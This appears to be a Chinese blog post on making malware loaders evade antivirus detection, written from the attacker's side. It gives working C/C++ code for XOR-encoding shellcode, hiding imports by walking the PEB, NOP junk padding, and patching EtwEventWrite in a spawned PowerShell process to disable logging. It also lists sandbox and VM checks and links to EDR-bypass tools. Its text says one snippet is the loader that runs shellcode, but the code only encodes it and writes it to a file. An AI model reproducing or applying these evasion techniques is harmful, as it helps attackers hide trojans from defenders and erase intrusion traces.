在我初学免杀时,也自己手动实现了一个程序,不过还是没有逃过杀毒软件的识别😀。今天就先来总结一下已经学习过的知识,避免忘记。
大致了解 首先做免杀是为了什么,肯定是我们想让我们的木马可以运行而且不被杀软识别。我们的木马是什么?就是我们使用MSF或者CS生成的shellcode,那么就引进来了一个重要概念:shellcode。
这里就不过多介绍生成shellcode的工具了,已经有很多教程详细介绍了如何使用,生成shellcode后,还需要一个shellcodeloader,用来加载shellcode,不然单指望一个shellcode就可以到达我们远程控制的目的,实在是有些小看各大安全厂商所付出的努力了。这里就又绕回到免杀上来了,我们的shellcodeloader如何才能不被各家安全厂商的识别为木马程序,就是我们学习的重点。
总结一下这一部分的重点:shellcode的生成 、shellcodeloader的免杀 。
检测方法 俗话说知己知彼,百战百胜。我们只有知道各大安全厂商是如何大致检测木马程序,才能有针对的进行绕过。
基于特征码的扫描 这个不难理解,对文件或内存中的存在的特征做检测,像字符串或者高危API函数。检测方法是做模糊哈希或者机器学习跑模型,内部应该是一种累计计数方式为程序进行检测,等危险函数或字符串累积到一定阈值,就报警。这种方法准确度很高,但是很难针对未知的木马。
关联检测 这个就很难说明白了。有可能检测shellcode的特征,或者也可能是一组关联的代码,把一组关联信息作为特征。按照我的理解来说,这个关联特征应该与shellcode的加载有关,比如使用远程线程加载技术时,就不可避免的使用一些API函数,当这些API函数单独出现不会报警,但要是一起出现就可能被当作木马。
沙箱 我觉得沙箱应该和行为检测是一种类型。启动一个虚拟环境给疑似木马的程序运行,提供它可能用到的一切元素,包括硬盘,端口等,让它在其上自由发挥,最后根据其行为来判定是否为病毒。主要针对的就是变形木马。
如何绕过 针对上述检测方法,有许多大佬孜孜不倦的开发出了许多方法进行绕过。本人也不过在这里拾人牙慧,略做总结。
针对特征码检测 加密shellcode 既然你可以在文件中通过我的shellcode和硬编码的字符串检测到我,那么我就变形,消除特征。具体操作就是对shellcode和硬编码字符串进行异或、编码或者加密,等我到内存中自解密,不影响程序正常执行。但是要注意加密操作可能影响文件信息熵的增加,笔者曾经在某位大佬的博客中见到有些杀软会检测信息熵的大小,如果过高也会定义为木马程序。
代码实现(vs2017):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #include <iostream> #include <Windows.h> #include <string.h> unsigned char shellcode[] ={ }; void xorcode (char *shellBuffer, int nlength, int key) { int i = 0 ; for (i = 0 ; i < nlength; i++) { shellBuffer[i] ^= key; } } void recode (char *szBuffer, int nLength) { char *szTemp = new char [nLength] {0 }; int count = nLength - 1 ; for (int i = 0 ; i < count; i++) szTemp[count - i] = szBuffer[i]; for (size_t i = 0 ; i <=count; i++) szBuffer[i]=szTemp[i]; } void WriteToFile (const char *szPath, char *szBuffer, int nLength) { HANDLE hFile = CreateFileA(szPath, GENERIC_READ | GENERIC_WRITE, NULL , NULL , CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); DWORD lpNumberOfBytesWritten = 0 ; BOOL bRet = WriteFile(hFile, szBuffer, nLength, &lpNumberOfBytesWritten, NULL ); if (bRet) std ::cout << "WriteFile Success!" << std ::endl ; else std ::cout << "WriteFile Failed!" << std :: endl ; } int main () { recode((char *)&shellcode, sizeof (shellcode)); xorcode((char *)&shellcode, sizeof (shellcode), 0x75 ); WriteToFile("D:\\shellcode.ini" , (char *)&shellcode, sizeof (shellcode)); return 0 ; } 这段代码是对应的shellcodeloader程序的main函数,先解密,再在当前进程分配内存空间,写入shellcoed,接着创建一个线程,起始地址为分配空间的地址,执行shellcode
通过上述代码就可以将你的shellcode进行简单加密,当在shellcodeloader中加载shellcode的时候也要先解密再运行。
shellcode分离 这种思路是你既然从程序中检测到我的shellcode,那么我就不把shellcode写进程序中,而是通过网络连接远程读取程序获取sehllcode,再执行shellcode。由于笔者没有马内买不起服务器,所以暂时没有实现shellcode分离的代码。
加壳免杀 一些加壳软件对程序加壳后,基本可以实现特征码的覆盖。这里指的加壳软件是加密壳,本质还是对shellcode进行加密来隐藏特征。这里笔者也没有做过尝试,是理论可行的范围。
针对关联检测 隐藏IAT 当我们调用API时可以在导入表中明显看到,这对于木马编写者来说肯定是一大败笔,因为反病毒人员很轻松就能看到你有没有调用可疑函数进行一连串的操作,那么我们就要隐藏我们的导入函数。
代码实现(vs2017):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 #include <iostream> #include <Windows.h> DWORD GetKernel32Address () { DWORD dwKernel32Addr = 0 ; _asm { push eax mov eax, dword ptr fs:[0x30 ] mov eax, [eax + 0x0c ] mov eax, [eax + 0x1C ] mov eax, [eax] mov eax, [eax + 0x08 ] mov dwKernel32Addr, eax pop eax } return dwKernel32Addr;} DWORD MyGetProcAddress () { DWORD dwAddrBase =GetKernel32Address(); PIMAGE_DOS_HEADER pDos=(PIMAGE_DOS_HEADER)dwAddrBase; PIMAGE_NT_HEADERS pNt=(PIMAGE_NT_HEADERS)(pDos->e_lfanew +dwAddrBase); PIMAGE_DATA_DIRECTORY pDataDir= pNt->OptionalHeader.DataDirectory+IMAGE_DIRECTORY_ENTRY_EXPORT; PIMAGE_EXPORT_DIRECTORY pExport=(PIMAGE_EXPORT_DIRECTORY)(dwAddrBase+pDataDir->VirtualAddress); DWORD dwFunCount= pExport->NumberOfFunctions; DWORD dwFunNameCount =pExport->NumberOfNames; PDWORD pAddrOfFun=(PDWORD)(pExport->AddressOfFunctions+dwAddrBase); PDWORD pAddrOfNames=(PDWORD)(pExport->AddressOfNames+dwAddrBase); PWORD pAddrOfOrdinals=(PWORD)(pExport->AddressOfNameOrdinals+dwAddrBase); for (size_t i = 0 ; i< dwFunCount; i++) { if (!pAddrOfFun[i]) continue ; DWORD dwFunAddrOffset =pAddrOfFun[i]; for (size_t j = 0 ; j < dwFunNameCount; j++) { if (pAddrOfOrdinals[j] == i) { DWORD dwNameOffset = pAddrOfNames[j]; char *pFuncName = (char *)(dwAddrBase + dwNameOffset); if (strcmp (pFuncName, "GetProcAddress" ) == 0 ) return dwFunAddrOffset + dwAddrBase; } } } } EXTERN_C typedef HMODULE (WINAPI *fnLoadLibraryA) ( _In_ LPCSTR lpLibFileName) ;EXTERN_C typedef WINBASEAPI FARPROC (WINAPI *fnGetProcAddress) ( _In_ HMODULE hModule, _In_ LPCSTR lpProcName) ;EXTERN_C typedef int (WINAPI * fnMessageBoxA) ( _In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType) ;EXTERN_C typedef VOID (WINAPI *fnExitProcess) ( _In_ UINT uExitCode) ;int main () { fnGetProcAddress pfnGetProcAddress = (fnGetProcAddress)MyGetProcAddress(); HMODULE hKernel32 = (HMODULE)GetKernel32Address(); fnLoadLibraryA pfnLoadLibraryA=(fnLoadLibraryA)pfnGetProcAddress(hKernel32, "LoadLibraryA" ); HMODULE hUser32 = (HMODULE)pfnLoadLibraryA("user32.dll" ); fnMessageBoxA pfnMessageBoxA=(fnMessageBoxA)pfnGetProcAddress(hUser32, "MessageBoxA" ); pfnMessageBoxA(NULL , "success" , "Msg" , MB_OK); fnExitProcess pfnExitProcess=(fnExitProcess)pfnGetProcAddress(hKernel32, "ExitProcess" ); pfnExitProcess(0 ); return 0 ; }
这段代码只是一个小demo,通过实现我们自己的GetProcAddress函数,来加载各种API函数,达到绕过导入表的目的。
花指令免杀 一些厂商在检测特征码时,会存在一个偏移范围,我们只要填充垃圾数据超过这个偏移范围,就可以做到躲避检测的效果。但毕竟是猜测的偏移范围,失败的概率还是不小的。比如我们在上述获取获取 Kernel32.dll 的基址的函数中添加nop,可能会对绕过杀软有帮助
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 DWORD dwKernel32Addr = 0; _asm { push eax nop nop nop nop mov eax, dword ptr fs:[0x30] nop nop nop nop mov eax, [eax + 0x0c] nop nop nop nop mov eax, [eax + 0x1C] nop nop nop nop mov eax, [eax] nop nop nop nop mov eax, [eax + 0x08] nop nop nop nop mov dwKernel32Addr, eax nop nop nop nop pop eax }
禁用ETW 先来了解一下什么是ETW 。按照我的理解,就是windows提供的事件跟踪日志系统,用于系统和应用诊断、故障排除和性能监视,同样也可以用来监视execute-assembly 等功能的行为操作。那么为了留下更少的入侵痕迹,就可以禁用ETW。
通过研究大佬 的博客,ETW
将TRUE
布尔参数传递到nt!EtwpStopTrace
函数中,以查找ETW
特定结构并动态修改ntdll!ETWEventWrite
立即返回从而停止跟踪日志记录。关键点就是ntdll!ETWEventWrite
先查看产生大量日志的程序是什么样子,以powershell为例
接着可以patch ntdll!EtwEventWrite
函数来查看是否禁用了ETW。
在将powershell进程附加到x64dbg中,在ntdll!EtwEventWrite
上下断点
一般windows api默认使用stdcall(x86)调用约定,这里x64默认使用fastcall,即寄存器传参,被调用者清理堆栈,所以我们直接返回(ret)就好。
之后F9运行,在processhacker中查看日志信息
已经读取不到所有信息。
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <Windows.h> #include <stdio.h> #include <Tlhelp32.h> int main () { STARTUPINFOA si = {0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof (si); CreateProcessA(NULL , (LPSTR)"powershell -NoExit" , NULL , NULL , NULL , CREATE_SUSPENDED, NULL , NULL , &si, &pi); HMODULE hNtdll = GetModuleHandleA("ntdll.dll" ); LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite" ); DWORD oldProtect; char patch = 0xc3 ; VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1 , PAGE_EXECUTE_READWRITE, &oldProtect); WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof (char ),NULL ); VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1 , oldProtect, NULL ); ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0 ; }
不过完全禁用并不是最好的想法,当防御者发现一条日志也没有,那也就说明遭到了入侵。我们要做的应该是提供虚假信息或者过滤到我们不想让防御者看到的信息
调用系统级函数 直接系统调用是直接对内核系统调用等效的 WINAPI 调用。我们不调用 ntdll.dll VirtualAlloc,而是调用它在 Windows 内核中定义的内核等效 NtAlocateVirtualMemory。这就避免了EDR在用户层对ntdll的检测。
红队战术:结合直接系统调用和 sRDI 绕过 AV/EDR |包抄 (outflank.nl)
删除或覆盖ntdll里面的hook hlldz/RefleXXion:RefleXXion 是一个实用程序,旨在帮助绕过 AV/EPP/EDR 等使用的用户模式钩子。为了绕过用户模式钩子,它首先收集 LdrpThunkSignature 数组中找到的 NtOpenFile、NtCreateSection、NtOpenSection 和 NtMapViewOfSection 的系统调用号。 (github.com)
EDR 并行分析 - MDSec
欺骗线程调用堆栈 如何使用ThreadStackSpoofer隐藏Shellcode的内存分配行为-腾讯云开发者社区-腾讯云 (tencent.com)
beacon/shellcode 内存加密 Sangfor华东天勇战队:内存规避 - FreeBuf网络安全行业门户
不使用RWX内存 无可执行权限加载 ShellCode - HexNy0a - 博客园 (cnblogs.com)
作者的思路就是不将shellcode写入内存,避免检测到shellcode的特征码,接着通过解释器去解释运行shellcode,达到“不见shellcode,执行shellcode”的操作。不过从另一个角度来看,就是将shellcode写入到可读可写可执行的内存中,变为将解释器写入到可读可写可执行的内存中去。
针对沙箱 检测虚拟机特征值 检测是否存在 \\Device\\VBoxGuest
设备文件
检测是否存在设备名包含 VBOX 关键字或者 VMWARE 关键字
检测虚拟机中特有的进程
检测是否存在虚拟机特有的注册表键值
检测是否存在虚拟机特有的文件
检测系统环境启动时间